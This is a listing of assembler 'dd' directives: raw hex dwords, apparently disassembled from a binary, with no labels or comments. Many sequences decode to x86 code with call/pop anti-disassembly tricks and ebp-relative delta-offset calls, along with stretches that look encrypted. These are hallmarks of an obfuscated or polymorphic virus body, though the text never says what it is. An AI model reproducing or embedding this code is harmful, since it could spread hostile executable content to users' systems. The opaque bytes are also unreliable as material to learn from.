		dd 0E2000000h, 41DE2F0Eh, 42419191h, 0F8F0F40h,	0E8000000h
		dd 9, 758AC8F3h, 0B8983311h, 815A5E73h,	0F8C7h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 54D72DFCh, 29174A73h, 30641BDh, 2447C706h, 60000020h
		dd 0BFCCB260h, 717A9907h, 0AEBD8361h, 60A65h, 1DA840Fh
		dd 0F18B0000h, 0C783F18Bh, 870F28h, 80000000h, 7C70DEEh
		dd 64696A2Eh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ah,	1C35646h, 9C788CA8h, 8D894C06h,	6030695h, 610447C7h
		dd 6A006174h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 4D6EC353h, 0AEB742AEh,	8BD2BF0Fh
		dd 0A65B685h, 5FEA8106h, 0E951F36Dh, 0Ch, 32849D96h, 188DE00Bh
		dd 0ADE93390h, 0F90C4789h, 65BA858Bh, 6A060Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0CA593EC3h, 0F9ED83C3h, 6A084789h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0AF96C355h
		dd 0A65DC0E7h, 8A1B826Dh, 0F28C783h, 0E8Ah, 9E900h, 36E30000h
		dd 10E141CEh, 0C767C673h, 6F632E07h, 52006A6Eh,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 1595895Dh
		dd 6006031Eh, 459B509h,	8C0F0603h, 0
		dd 61858961h, 0C7060307h, 69660447h, 800F0067h,	5, 0E341CBBAh
		dd 61B58943h, 8B060307h, 0A65B285h, 0D6BF0F06h,	0C4789F9h
		dd 5AF08A52h, 6870Fh, 958B0000h, 6030C6Dh, 65AE858Bh, 6A060Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8B60A8C3h, 820F51FAh, 0
		dd 850F615Fh, 8, 28E0Fh, 5E570000h, 11E8h, 54630800h, 1845A1Fh
		dd 269DD856h, 0B480197Fh, 95893081h, 6031B05h, 847895Eh
		dd 10E8h, 4ACE3100h, 6755DCE4h,	43A5E3D9h, 4F6DF597h, 8D0F4Bh
		dd 5A000000h, 9CCE8158h, 8D639AD4h, 308CD8Dh, 0E681F906h
		dd 0A84B621h, 3DBA5791h, 5A3550A5h, 4870F50h, 66000000h
		dd 91B819BEh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	0FDC35747h, 3DB58B1Fh, 0FF06031Ah, 30479B5h, 67BE6606h
		dd 38A26870h, 481EAFDh,	2D75E24h, 0FE915h, 35520000h, 6A576100h
		dd 9E47AF76h, 0ED479472h, 70E2814Ah, 0FF0A6CB1h, 3133DB5h
		dd 0E7DA8006h, 6AD0FFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 1285F7C3h, 0B8CD8Eh, 8B000000h
		dd 31BA9B5h, 0FC00B06h,	4484h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 742BEA45h
		dd 0B9A8C4EAh, 0F6B70FA9h, 1FC1B5FFh, 0F9BE0603h, 0FF72EBB8h
		dd 3171D95h, 8D9D8906h,	3106032Dh, 32AC195h, 0FC08B06h
		dd 0BD83D2B7h, 60304E5h, 83097500h, 32339BDh, 19740006h
		dd 0C08B5350h, 42DB8h, 39858900h, 8D060307h, 5B6269Dh
		dd 5BD3FF06h, 39BD8358h, 60323h, 53501774h, 42DB8h, 39858900h
		dd 8D060307h, 5B2C79Dh,	5BD3FF06h, 0F0C68158h, 81191A3Dh
		dd 4F060EDAh, 8BECB636h, 8DC08BC0h, 0A6F658Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 9B242116h, 858BB70Ah, 6030449h, 0B198589h, 8D890603h
		dd 60320A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0F3C35747h, 47DF7182h, 1A6585C7h, 74400603h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 1FB685C3h, 838CA18Ch, 89B2B6C4h, 321499Dh, 7185C706h
		dd 60300h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0B17CC357h, 826CCF1Ah,	86CADA64h
		dd 6157BB66h, 1765B5FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 8CCE9BC3h, 0B6107EA6h
		dd 449958Bh, 0D68B0603h, 171D95FFh, 6A0603h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 34EB65C3h
		dd 0AF9D83B3h, 6AF5F164h, 0A595FF00h, 8B060323h, 9759EBC0h
		dd 663AE209h, 227E28A5h, 0F1116333h, 9D441FFEh,	28E58E7Ah
		dd 9E2399BEh, 43737B76h, 0DCC7BFC5h, 5999A46Eh,	0BEE58CA3h
		dd 17698F4Ch, 1F16B7BAh, 22A18A2Ch, 87B46EACh, 0C88D9052h
		dd 0C39B4B14h, 0D1E415A2h, 53A88EC7h, 551492D2h, 2329AB0Fh
		dd 0C65157EEh, 0D5ED48A5h, 708E8D8Dh, 6A060Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 35171AC3h, 38B032B3h, 0F53F4E9h, 0C8Bh, 7E900h, 68B00000h
		dd 0F7B282BAh, 0D858B07h, 8906031Dh, 320A58Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 9FA0C51Ah, 45A72907h, 9D2985F9h, 603201Dh, 1A6585C7h
		dd 5D940603h, 85C70000h, 6030071h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 28C35040h
		dd 29C6F536h, 305719Dh,	21B5FF06h, 66060320h, 0D1FCD681h
		dd 171D95FFh, 0BD8B0603h, 6031D1Dh, 95FF006Ah, 60323A5h
		dd 9EBC08Bh, 3EBE470Fh,	89B72380h, 0BE81Ch, 20F0000h, 0D83A94A7h
		dd 37E61EB1h, 14E8A5h, 98CE0000h, 0A156284Dh, 0D55993B6h
		dd 0D9AB5F83h, 0DB3C086Fh, 23606F4Ah, 31A3D85h,	61D08B06h
		dd 0F28B585Eh, 5BF7C081h, 0DE90000h, 53000000h,	0ADCDA452h
		dd 40E88DB0h, 31D557C2h, 16D0B9h, 958D0900h, 0FF06030Bh
		dd 1C1BF30h, 0F5A2F91h,	681h, 59BD8900h, 81060324h, 15D360EAh
		dd 158B0F33h, 0E9000000h, 10h, 32A5F084h, 4570C662h, 6E3EE4DCh
		dd 52A7F016h, 2E77EA81h, 0BF664418h, 0C281952Fh, 5A8C6A54h
		dd 0E8831089h, 0BE665601h, 485FDC7Bh, 0BD8B4848h, 6030B25h
		dd 0A0850F49h, 8BFFFFFFh, 320BDB5h, 4F8D8D06h, 0F060A72h
		dd 8D89F0B7h, 60320A5h,	0D4EB8166h, 14E93Ah, 8AF20000h
		dd 759866B7h, 0E03841A7h, 755481F0h, 0C5A3203Bh, 85C74BDFh
		dd 6031A65h, 5DF4h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0DEC35545h, 24A943F7h, 0E9E51063h, 8
		dd 8F515E1Dh, 0A14728A4h, 7185C7h, 603h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 994D9BC3h, 0CF7BE250h, 0FD9589C7h, 0FF060318h, 3217DB5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0FF64A200h, 3171D95h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0BD0D068Fh
		dd 0CEAF47B6h, 7E7A6BBEh, 0FF006A20h, 323A595h,	0EBC08B06h
		dd 61685D6Bh, 0BE9BF8AFh, 78F4402Ah, 4322EE34h,	0F4A722AAh
		dd 0CCD418C1h, 0C04852EFh, 0E70F41B4h, 0F486C660h, 7E62E16h
		dd 783869B6h, 45A253B8h, 227C8836h, 0BF225239h,	0F39A245Ah
		dd 5702DF86h, 5444715h,	9B21D710h, 98490251h, 5746E0FEh
		dd 6117D679h, 2F972DBCh, 92DB2461h, 2C2414E3h, 97C42719h
		dd 1C41A37Ch, 3222778Eh, 0C08Bh, 199h dup(0)
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0D2CDC357h, 827AD95Ch,	8B0F1FF2h
		dd 8, 0DA8B6660h, 61F08B66h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 6AC35747h, 0FE9F5h,	0D6D50000h
		dd 1FAABE1Bh, 7370850h,	531C94F1h, 6A9DA6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 70BA46C3h
		dd 3721DBA9h, 0E96060F6h, 14h, 2E832E3Dh, 8F5CE829h, 728F0FF9h
		dd 0AA6C173Bh, 162A5C15h, 10E9h, 8FA1A100h, 0C76A5E74h
		dd 938169C1h, 5ABECB92h, 0F78B61DDh, 13880F61h,	0E9000000h
		dd 0Eh,	78E6C7Bh, 0CD47B4AEh, 0B0C0E4BEh, 6A614E86h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 375EC350h, 109E40Dh,	3F5A50E1h, 12E9F8h, 0F89E0000h
		dd 8901E160h, 0BDDC0C76h, 0D8BFB08Fh, 0EC7A0B3Ch, 4401F85Dh
		dd 840F0824h, 12h, 0C870Fh, 7E90000h, 0F000000h, 125F741Eh
		dd 0F58E3F0h, 1281h, 0DE900h, 3E720000h, 7085CDECh, 7DF90D8Ah
		dd 9DB42C51h, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0F5091B57h, 0DABF0F60h, 6117C980h
		dd 8C0FC08Bh, 4, 0B05FB966h, 72322ABBh,	0FCE28A2Fh, 0BE9h
		dd 62C8BB00h, 10A1E834h, 76D73FB3h, 0BDC28166h,	0C88B6622h
		dd 0EC1E33B9h, 0E7B8661Dh, 11E940h, 0E67C0000h,	9CA1BC35h
		dd 0CA94F719h, 7D0E20B0h, 66A393C0h, 0E85444BFh, 10h, 0B4833C90h
		dd 83480B5Ah, 28469B20h, 77F4AD09h, 0F7B70F60h,	61D3BF0Fh
		dd 18A0F58h, 0F9000000h, 3EC657B9h, 0BB595747h,	7DB9C505h
		dd 5256D78Bh, 5B5AFE8Ah, 0B97BE380h, 68C35CA5h,	0B966A8B3h
		dd 8B6619E2h, 70C781D7h, 81204E09h, 3476BFD7h, 0F2BF0F58h
		dd 0FCC6B70Fh, 7E8D08Bh, 49000000h, 44859988h, 0B96655C3h
		dd 0F5EF6D1h, 488h, 0ECBB6600h,	4D08120h, 0F7AC1B8h, 1187h
		dd 6E800h, 54760000h, 0A8B45980h, 5472BCBAh, 7EB25854h
		dd 850F6060h, 0
		dd 61C6BF0Fh, 6661CC8Ah, 66952DBFh, 520DC981h, 9AF28166h
		dd 12E832h, 23B70000h, 0D6ADC39Ch, 2036AD23h, 0E2439A54h
		dd 1804F53Ch, 0E70BF66h, 2840F5Bh, 8B000000h, 0EE9DAh
		dd 2B100000h, 8358353Ah, 38883B0h, 27B2D233h, 0E9F28B66h
		dd 0Ah,	6FFBE447h, 3E53B45Ah, 0BF6617C3h, 8166EECAh, 665623EFh
		dd 0D279D081h, 5840Fh, 81660000h, 8153BBC7h, 340F3BE2h
		dd 11F7814Ah, 0F96F2F87h, 26BBEE8Ah, 502100E4h,	14E9h
		dd 0C6885000h, 8082307Eh, 590C8947h, 80A686D8h,	4FBBDBFBh
		dd 0DE95F49h, 59000000h, 0BFADB8Ch, 0DAE9E6A8h,	16C4C85Dh
		dd 4AA74AB8h, 0F28B6634h, 14E960h, 0E9CA0000h, 0A22A3056h
		dd 4F3A05F6h, 734561DEh, 99303BE5h, 0BA667D9Dh,	60611ABCh
		dd 0FE8h, 502A6E00h, 0BB776DEDh, 899E6C6Bh, 0A754EB45h
		dd 0E95F6160h, 0Ch, 3C117408h, 8C41B332h, 0DC416323h, 0CB8B6661h
		dd 0E850C28Ah, 13h, 0D822D51Eh,	0A8D05649h, 31574E35h
		dd 5AB0C4B2h, 0E965C01Fh, 13h, 0D94D5B04h, 819AE2A9h, 99B523DEh
		dd 0AED46228h, 5A4A47EBh, 0FAB70F59h, 7DA594BEh, 8133B13Ch
		dd 77AE9BD0h, 0F860524Bh, 0D488BB66h, 8B665861h, 0FBBF0FFBh
		dd 12E9h, 0D9287600h, 0B02D37FEh, 0F372370Dh, 705CDB7Eh
		dd 66BF401Bh, 0C01ACF81h, 0B5F38B66h, 13E874h, 0BBB20000h
		dd 0B44E4084h, 0D957A6A7h, 90D2B973h, 0E5FE170Dh, 0BB665E98h
		dd 6E91200h, 86000000h,	600E2DDDh, 0AE9A7h, 763C0000h
		dd 415F3919h, 0B7FBCC80h, 8E9h,	750EA800h, 561B6EBDh, 10E982h
		dd 99580000h, 0B437BFF5h, 0D5E50DBEh, 0EFDB3F07h, 6FB1F6EBh
		dd 0D68166F8h, 7E9D4ACh, 0AB000000h, 3E0B60C2h,	8C0FB54Bh
		dd 2, 8AF9DA8Bh, 0EA8166F3h, 6656D056h,	4925E981h, 0F6EA815Bh
		dd 0F2E429Ch, 1C83h, 14E800h, 108E0000h, 0D3797AA6h, 1A4F3622h
		dd 7CF4747Dh, 2A9B046Eh, 6160B77Bh, 0D8B70F5Ah,	0E9FEBF0Fh
		dd 0Eh,	910E2CA3h, 0BC936BA0h, 750647E7h, 0C8810F45h, 1CD998C5h
		dd 13E9h, 0B7EA5900h, 2B15B3C6h, 0F7B93E09h, 0C8A42F34h
		dd 27A4DC05h, 0F88B65B3h, 0B866DA8Bh, 81F996D1h, 0D21E45D8h
		dd 38E0F18h, 0F000000h,	0D780D6BFh, 0E40BB8D1h,	0DE94FBAh
		dd 0E5000000h, 6FAA2E12h, 14C158D3h, 0D56E0F52h, 5BECBE66h
		dd 5E9h, 4424AC00h, 8166A600h, 60DC99D7h, 2830Fh, 0C7B60000h
		dd 12E852h, 7D9B0000h, 3CDCA8Bh, 1F68BBA6h, 0B3BE820Eh
		dd 0A3AB398Dh, 66615A59h, 0B01CE681h, 2850Fh, 74B40000h
		dd 1E8C0Fh, 0EE80000h, 48000000h, 11463201h, 7483FFEh
		dd 0F733F638h, 5E97Eh, 0BB030000h, 5EE1A2D7h, 38F0F52h
		dd 66000000h, 0F58CA8Bh, 178Dh,	0CE800h, 11FF0000h, 864EE295h
		dd 941881CCh, 8166D0D5h, 5EE40DD8h, 0E9AEDE80h,	9, 0F88F75F0h
		dd 0C9FE13FBh, 0ECD8815Dh, 0B96886CAh, 3B1FE5A2h, 8D2A2DB8h
		dd 0DE947h, 5E0C0000h, 7FCA4D32h, 0A8C02CDDh, 0F3DC445h
		dd 85h,	0A8AABA00h, 6E8780Ah, 84000000h, 7EFFBE16h, 6E95E4Fh
		dd 0E8000000h, 6DB31E34h, 816656EDh, 5EBB5DE9h,	0E8D08B66h
		dd 5, 9BC1493Dh, 1CEF8131h, 5822CB43h, 0C924B966h, 0E9C7BF0Fh
		dd 0Eh,	0DA1A9A95h, 0C3E70820h,	0A55C5E0Eh, 0BF0F8CE6h
		dd 35DA80F8h, 5C02D181h, 0BB66747Ah, 800FF787h,	0Eh, 8E8h
		dd 0CD298D00h, 0CD3D6C60h, 81665EACh, 0F5C979CBh, 0BF0F1DB3h
		dd 0BE9C9h, 0D0540000h,	1B3F4746h, 6D178251h, 0F18B6069h
		dd 13E9h, 176EA100h, 507A1729h,	3FA587DDh, 426C8F29h, 0CCC53EFDh
		dd 13E961h, 0CEAB0000h,	620A9C9Ch, 10B1526Eh, 733075A3h
		dd 0FCA532E6h, 51A5B418h, 3880Fh, 8B660000h, 0E8515AF9h
		dd 0Fh,	4C92704h, 1A93C9FCh, 65E03379h,	60FAB899h, 805B5861h
		dd 0BF661BDAh, 0DF81FE08h, 73850231h, 9BB4D081h, 81667045h
		dd 0FADCBC6h, 1187h, 0CE900h, 43B10000h, 1077BC03h, 4C84F789h
		dd 0E681006Dh, 13287E99h, 3830Fh, 0E8800000h, 0F4D8812Ch
		dd 0BE75C42Eh, 0C24B6D9h, 8B669AB0h, 0FFBF0FF3h, 6E9h
		dd 98CF0600h, 818F5594h, 0D4056BF1h, 14E87Ch, 0AFB00000h
		dd 0EB7B4E51h, 6A45CEF2h, 0C0B323DCh, 2AFCBA9h,	0AE9D207h
		dd 0F3000000h, 679CE7BBh, 14697A36h, 0B2B15B7Ah, 13E9h
		dd 9A715700h, 0CC82443Eh, 0AABB58FDh, 361D6B6Ah, 0F61C8D0h
		dd 79E28166h, 6E957h, 0EF300000h, 9BA281B6h, 0CEE08166h
		dd 0E969B4DDh, 12h, 720B54AFh, 71C5F57Fh, 51B89698h, 519C9901h
		dd 7E9259Dh, 48000000h,	8CDE20E0h, 6E98CD6h, 0C3000000h
		dd 2EB7C260h, 860FB5h, 0E8000000h, 0Bh,	7B428A4Fh, 5CE3DA6Fh
		dd 0B6814C78h, 0B7575920h, 0B9665A21h, 66FCE8E5h, 0C68BD18Bh
		dd 5E9h, 4F02A700h, 0F280A1B6h,	87DE81A4h, 81221674h, 3C5318D7h
		dd 0FAB70F4Eh, 6E9h, 538FD600h,	50418DABh, 850F59F8h, 11h
		dd 0CE9h, 971EF000h, 33DE1126h,	0EAB8A9DFh, 0DEB70F20h
		dd 66CBB70Fh, 812367BBh, 0AC8DB8E0h, 66F28B7Bh,	9E9F88Bh
		dd 3A000000h, 77858A78h, 7BEF2BE3h, 0FC9CD80h, 380h, 0D08B6600h
		dd 0FE4E180h, 66F9DAB7h, 0D7BCC281h, 18870Fh, 0CE80000h
		dd 0CB000000h, 0FD3894BDh, 2A7DC86Ch, 81BFCA8Dh, 0EA00DBCAh
		dd 6E9590Fh, 0A7000000h, 1C29DA1Dh, 0B8FC60D6h,	55C1CB38h
		dd 0EE816661h, 7BB55C24h, 8C0FF8F9h, 1,	46BB66F9h, 9CC881E6h
		dd 660A8310h, 8B53F98Bh, 890F5AF1h, 4, 0CE03B966h, 8B66FC60h
		dd 46BB61D7h, 665B1CC0h, 0F01FC681h, 0FC2B70Fh,	0FE9C6B7h
		dd 0E4000000h, 7397416Ch, 0D6E7A5BFh, 0FE82245h, 6650EA04h
		dd 0F58FA8Bh, 98Fh, 38A0F00h, 66000000h, 0FE9C78Bh, 73000000h
		dd 0E2878490h, 91623F18h, 0FAA03ACCh, 0F552BE62h, 48A0F58h
		dd 66000000h, 66A803B9h, 14E8F28Bh, 0BD000000h,	0A4A4CB30h
		dd 62F16D6Fh, 8CFA4283h, 4274E332h, 662C42B5h, 5FC416BBh
		dd 5E8h, 6B3BF600h, 810F68ECh, 6, 8C0Fh, 0E95B0000h, 14h
		dd 0B278920Eh, 4DECBE05h, 0E8D7D154h, 7902A16Ah, 7987210Bh
		dd 56D7B70Fh, 59CA8B66h, 0B1A2D281h, 0F18B4117h, 9E9h
		dd 0B2E37000h, 0C38205CEh, 0B866663Bh, 8166A653h, 0E99533D1h
		dd 14h,	3C141B54h, 0B4F127h, 18A2ACB6h,	651828FFh, 3D872501h
		dd 2C73BE60h, 0FE956A1h, 0BF000000h, 4A4020E2h,	56DBA8C6h
		dd 68A4CF42h, 0B7618A3Eh, 0BF66FC76h, 8B664BEBh, 840FF8C3h
		dd 19h,	11E8h, 534EF900h, 57A08D78h, 198F7C23h,	0DC76D9B0h
		dd 88B5480Fh, 60CE8A5Fh, 0DE9h,	0C8D20100h, 0C26AEB93h
		dd 0DCA04C69h, 0B1BFC3F1h, 613F68B5h, 66CEBF0Fh, 0B4F13DBBh
		dd 53D68B42h, 0BF84A4BAh, 0C7B75A6Eh, 81CBBF0Fh, 48176DDFh
		dd 81F88A4Eh, 0AB1B17E6h, 0C381F54Dh, 4F34FCA9h, 0BE9h
		dd 0B2605300h, 0D775489Dh, 8E0234ECh, 890FF960h, 18h, 13E9h
		dd 0F206EA00h, 0D5AD10DBh, 20F6D7BFh, 0D46B2314h, 0CC09F971h
		dd 12BE6061h, 0E948483Dh, 0Dh, 7100A50Eh, 0E8E7074Dh, 5105E75Ah
		dd 0D1816144h, 7473B171h
		dd 0F9BA6653h, 0F6B35B73h, 6870Fh, 0C7810000h, 6031D3E2h
		dd 14E8h, 66279B00h, 0E8CB1448h, 78A41F1Eh, 0DFC346C4h
		dd 0A1D326B9h, 8B58FC89h, 6E9C6h, 4F580000h, 0A181270Ch
		dd 3860Fh, 8B660000h, 7B7EB8CEh, 0BF0F241Ch, 8D0FF1h, 0E9000000h
		dd 13h,	8579F41Fh, 0C5775764h, 9C20AEFBh, 8A86646Eh, 66CAC3C3h
		dd 0F1CFFB9h, 1486h, 0FE900h, 0AC290000h, 360164BFh, 260EBB6Ch
		dd 0F81297AAh, 128A0F64h, 0E8000000h, 6, 3838A95Fh, 850F40A1h
		dd 0
		dd 0F58525Fh, 1A80h, 0EE800h, 70AF0000h, 2D09A8F4h, 6C935B82h
		dd 66549C06h, 1620D081h, 605B159Ch, 66EB8A60h, 8061F78Bh
		dd 0E961BFD9h, 0Eh, 75B95CB2h, 9599B80Eh, 93BF31DAh, 0CA80F3B0h
		dd 0D0816688h, 0C08190BEh, 14584400h, 14E9h, 0E2592600h
		dd 0CF36A2EAh, 2FBEC6C8h, 3DE8408Eh, 0C1B7CB11h, 0D8BF6679h
		dd 9E8FCC6h, 0CB000000h, 0C327AE18h, 76D0E4CEh,	849948BEh
		dd 66575872h, 0C393DF81h, 0B70F605Bh, 0D78166D9h, 66611A41h
		dd 7096DF81h, 0DE8h, 13B62100h,	0A2D2C30Bh, 0F09435CEh
		dd 81662A15h, 5E6597C7h, 0A15966B9h, 0E7BA666Fh, 13E941h
		dd 41520000h, 27DB03Dh,	3949C5BDh, 85E0932Fh, 7B027D5h
		dd 0F6816690h, 0C781322Ch, 5D01391Ah, 8E9h, 3BFC8E00h
		dd 0EC230749h, 663EBB40h, 0EA80547Fh, 0A1F38038h, 0E9D7BF0Fh
		dd 6, 8669AC13h, 8B6690E5h, 0CF8166C1h,	0B966FEB7h, 8B5249C4h
		dd 0FE8B59DAh, 0DE9h, 0B8182500h, 0B9943CF3h, 0DFB5917Dh
		dd 8B6033BBh, 38E0FD3h,	80000000h, 66612AE2h, 0E86AE3B8h
		dd 7, 0C919E658h, 0B57B27D6h, 0EE95F93h, 0A7000000h, 0F5D61715h
		dd 72B62E66h, 8B7CC7Ch,	48A0F94h, 66000000h, 0F44C1BEh
		dd 0E84h, 9E900h, 556A0000h, 31A2C705h,	80781217h, 5E888D2h
		dd 0B000000h, 6B55D81Eh, 5870Fh, 57BE0000h, 59078114h
		dd 0E984CC80h, 0Ch, 3F426651h, 2E0F126Ch, 48B9D9BDh, 0FE9h
		dd 8AA5B800h, 8F845820h, 4EE63791h, 0D07A9742h,	3880Fh
		dd 8B660000h, 0FCD78AD0h, 6E9h,	0CF9B0700h, 660F7367h
		dd 0CE8BC18Bh, 88C0Fh, 0F600000h, 88h, 860F6100h, 5, 62C88166h
		dd 0BE6656CCh, 0E95E4AFBh, 0Fh,	637CD785h, 1CD69C28h, 4BFCBE15h
		dd 8B0C5023h, 0DF8153D8h, 35E331F8h, 14E8515Ah,	7C000000h
		dd 65D0C93Bh, 1FD49949h, 1369B3DAh, 58361564h, 5E0DCE4Ah
		dd 66F98A59h, 6BC5D281h, 0C7BF6660h, 0C68B66F5h, 72EF8161h
		dd 53609763h, 16C88166h, 0BF0F5B35h, 22BE66DAh,	14E86Fh
		dd 11430000h, 78206AD1h, 2604CB50h, 61DAE570h, 0CD5E6169h
		dd 0D08B59CFh, 3870F5Eh, 66000000h, 0F52F28Bh, 6659D0B7h
		dd 0BA66DE8Bh, 12E90947h, 41000000h, 170E1AF6h,	0D41A14C9h
		dd 827802C6h, 0F08174F8h, 860F60F8h, 6,	830Fh, 0CE810000h
		dd 57631EDBh, 9E861h, 3BD80000h, 550573E5h, 0F173396h
		dd 0E85EC6BFh, 9, 0FB6429B2h, 72DC8BEFh, 0CE83Ah, 0F1590000h
		dd 0D83A3B6h, 0BE6DAD8h, 0B966FE94h, 595ECCABh,	820FA5B3h
		dd 4, 94E1BE66h, 0E9F18B66h, 11h, 178C555Bh, 0C13124C7h
		dd 5E4AC833h, 63B1D760h, 5643B90Fh, 0BB661259h,	13E9ADBDh
		dd 57000000h, 0C83C2701h, 0DFFD7DADh, 81A735F3h, 6F641D21h
		dd 8B66CAADh, 0C3DBBAC3h, 7BB6496h, 0E923B067h,	10h, 0F3066DA2h
		dd 0A1C3F032h, 8F255D9h, 0E57777C9h, 66D1BF0Fh,	870FCE8Bh
		dd 5, 0BD799DBFh, 0BE6CBB74h, 0BF0F2D79h, 5800FCFh, 0BB000000h
		dd 6EA22E9Eh, 0EAEEFABAh, 0A8C6BB11h, 0CE93342h, 9B000000h
		dd 0D5F50F3Fh, 0FEFF3E57h, 0F0CEB1Dh, 0A8Dh, 48C0F00h
		dd 66000000h, 52FF06BEh, 168F0Fh, 11E90000h, 0AE000000h
		dd 0B16D2F33h, 4976EC99h, 0D634A074h, 0C8081A4h, 0B9BF6658h
		dd 606057D5h, 61D78B61h, 0EA816659h, 840FD838h,	3, 0F5EF580h
		dd 810FC6B7h, 5, 0CA790EBEh, 12E96075h,	0F6000000h, 6C6E07Eh
		dd 2B0D5CC6h, 0E6218861h, 518D3B80h, 0CE99Ch, 6BE40000h
		dd 0C53638C7h, 4396E534h, 8B61333Eh, 0DA8B66D7h, 9E9h
		dd 0D366D000h, 0E53CF2E1h, 0FE83B2Eh, 0BB000000h, 0F656677Ch
		dd 0CC5A5751h, 0B7225A35h, 0E8BBEA0Eh, 5977BD16h, 8E960h
		dd 3E800000h, 0AE082152h, 8B61B697h, 2840FD3h, 0B4000000h
		dd 66605115h, 36B4DE81h, 0A4B45B61h, 7E8h, 30CEB700h, 0A14A4DB2h
		dd 12E9h, 0D0977800h, 7E19B5A3h, 0BC0B4EA1h, 0BF8E74BFh
		dd 5EC95716h, 7DB5C881h, 2AB809F6h, 0F54634C3h,	0BE9B7B4h
		dd 23000000h, 614E175Dh, 0EDBBA115h, 66568876h,	585739BBh
		dd 890FCF8Ah, 0Ch, 5E950h, 5BBD0000h, 5F984524h, 10E8h
		dd 923D1B00h, 0D648E8C5h, 9E5AF950h, 3C96B4EFh,	68C1B929h
		dd 605B52D6h, 28C0Fh, 58570000h, 33B9F181h, 0B76149C3h
		dd 0A6F0809Bh, 81F0BF0Fh, 49AEAEDBh, 80D88B6Fh,	6656D4C0h
		dd 59AC60BFh, 0BE66CF8Bh, 0F08BF47Dh, 0FFCE480h, 49B4CBBFh
		dd 7E9h, 0D4CD5500h, 0BB4559A3h, 0CE9h,	214ED700h, 32C4242Ch
		dd 9D40C94Bh, 0D68B661Eh, 44DB8166h, 0F28B661Fh, 840FFA8Bh
		dd 1, 8E9F8h, 0C9AC0000h, 86476763h, 605608BBh,	8ECBF181h
		dd 0BF0F0531h, 665E61D0h, 0F08AFB8Bh, 7E8h, 0E2FB7900h
		dd 4FD60C4h, 0C3C9BA66h, 0D733BB58h, 0FE850CAh,	0B9000000h
		dd 78761D2Bh, 864B7156h, 5BD5A1E7h, 810F681Ch, 1, 81665FF5h
		dd 66DAFDF3h, 0D480C78Bh, 2850F81h, 8B000000h, 0C6B70FD0h
		dd 0F78B38B0h, 0BE9h, 91507E00h, 6B980CF2h, 439FBC6Bh
		dd 5E9h, 5DC21600h, 860FC7A0h, 6, 113FEB81h, 0BF665573h
		dd 8B667048h, 0D88166F3h, 0F681197Dh, 179BA5Ah,	9E9h, 0B3E12200h
		dd 808BA33Eh, 66601D36h, 921AE281h, 6661CE8Bh, 66D10DBFh
		dd 885CDF81h, 0FF8DE8Bh, 1387h,	0EE900h, 0C9E50000h, 5841C7EAh
		dd 5FD20EEFh, 0C1D52720h, 0BE56C480h, 5FEF595Ah, 0BE8h
		dd 0FE77400h, 8B746AADh, 60251023h, 0F1BF0F59h,	0DC78BB66h
		dd 9E8h, 0E8657900h, 0AD9215E8h, 0EF80B9CFh, 1BB5590Dh
		dd 6E9FCh, 94A30000h, 2BBFB936h, 27DED381h, 66521E80h
		dd 0C853DA81h, 2800F5Eh, 8B000000h, 11E9D3h, 11ED0000h
		dd 0F1E185Bh, 0DD3A83DAh, 0D90494B9h, 808C0252h, 10E902E0h
		dd 21000000h, 93348B07h, 7DF66AD7h, 0D07D9EB8h,	0FB86509h
		dd 58Dh, 8217B800h, 0BE6673B6h,	8B60FA03h, 0C1B70FF0h
		dd 805F5261h, 850FE4DAh, 19h, 12E960h, 33AC0000h, 0A4D7FD45h
		dd 0F1237AB0h, 4B02ED8h, 0F1363CF5h, 6E96061h, 8C000000h
		dd 5E9E7BB3h, 0AE96Ch, 919D0000h, 0C0C5FA55h, 6E42AF8Bh
		dd 9E96061h, 4C000000h,	0D2E2F1EDh, 50777C2Bh, 810F51h
		dd 59000000h, 10CD8061h, 0BAA3E880h, 55926341h,	0FA8B6652h
		dd 3860F59h, 0F000000h,	0EE81F9BFh, 4F807C71h, 8BF98B66h
		dd 805360DFh, 0F58F8D4h, 0E961C8BFh, 0Bh, 0AF936CEEh, 54B2A13Ah
